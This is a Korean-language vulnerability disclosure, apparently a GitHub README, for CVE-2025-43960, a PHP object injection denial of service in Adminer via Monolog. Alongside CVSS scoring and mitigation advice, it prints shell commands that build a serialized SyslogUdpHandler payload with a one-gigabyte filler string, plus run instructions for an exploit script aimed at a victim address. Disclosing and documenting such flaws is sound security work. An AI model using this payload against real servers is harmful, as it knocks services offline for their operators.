
Monolog를 통한 Adminer <4.8.1용 PHP 객체 주입 익스플로잇. 조작된 직렬화 페이로드를 통해 서비스 거부를 유발합니다. PoC, CVSS 점수 및 완화 지침이 포함되어 있습니다.
MITRE로부터 응답을 몇 달간 기다린 끝에, Adminer 서비스(<4.8.1)에 대한 PHP Object Injection 공격으로 CVE-2025-43960을 획득하였으며, 이는 메모리 조작을 통해 서비스 거부(DoS)를 유발합니다.
https://github.com/user-attachments/assets/ebf7d8e8-01db-4d02-bb12-33321c749458
이 취약점은 원격의 인증되지 않은 공격자가 Monolog를 사용하는 Adminer 4.8.1 인스턴스를 악용하여 PHP Object Injection을 통해 서비스 거부(DoS)를 유발할 수 있게 합니다. 이 공격 벡터는 인증이나 사용자 상호작용이 필요하지 않으므로 심각도가 높은 문제(CVSS 7.5)이며, 특정 공유 환경에서는 8.6까지 상승할 가능성이 있습니다.
Adminer 4.8.1에서 Monolog를 로깅에 사용할 경우, s:1000000000 문자열과 같이 조작된 직렬화된 페이로드를 통해 서비스 거부(메모리 소비)가 발생합니다. 이는 PHP Object Injection 문제로, 신뢰할 수 없는 사용자 입력이 적절한 검증 없이 역직렬화되는 취약점입니다. 대규모 역직렬화 객체를 전송함으로써 공격자는 높은 메모리 소비를 강제하여 Adminer 인터페이스를 응답 불가 상태로 만들고 서버 전체의 DoS를 유발할 수 있습니다.
기본 점수: 7.5 (높음)
벡터: AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
특정 배포에 대한 참고 사항:
Adminer 충돌이 다른 서비스/테넌트(예: 컨테이너 또는 공유 프로세스)에도 영향을 미치는 경우, 범위: 변경됨이 적용될 수 있습니다:
- 벡터:
AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H- 점수: 8.6 (높음)
unserialize()를 사용하지 마십시오.memory_limit)을 적용하여 과도한 리소스 소비를 방지하십시오.unserialize()에서 allowed_classes를 사용하여 승인되지 않은 클래스의 역직렬화를 제한하십시오.< 4.8.1 (테스트 당시 최신 안정 릴리스)unserialize()를 통한 PHP Object Injection페이로드 생성:
head -c 1000000000 </dev/zero | tr '\0' 'D' > filler.txt
echo 'O:32:"Monolog\\Handler\\SyslogUdpHandler":2:{
s:9:"*socket";r:2;
s:10:"*handler";s:1000000000:"'$(cat filler.txt)'";
}' > payload.txt
영향:
git clone https://github.com/far00t01/CVE-2025-43960
cd CVE-2025-43960
pip install -r requirement.txt
python3 cve-2025-43960.py
python3 cve-2025-43960.py
Usage: cve-2025-43960.py <ip-listener> <port-listener> <ip-victim:port>
Example: python3 cve-2025-43960.py 198.51.100.11 80 203.0.113.11:8000
Fabian Rosales (@far00t01) Medium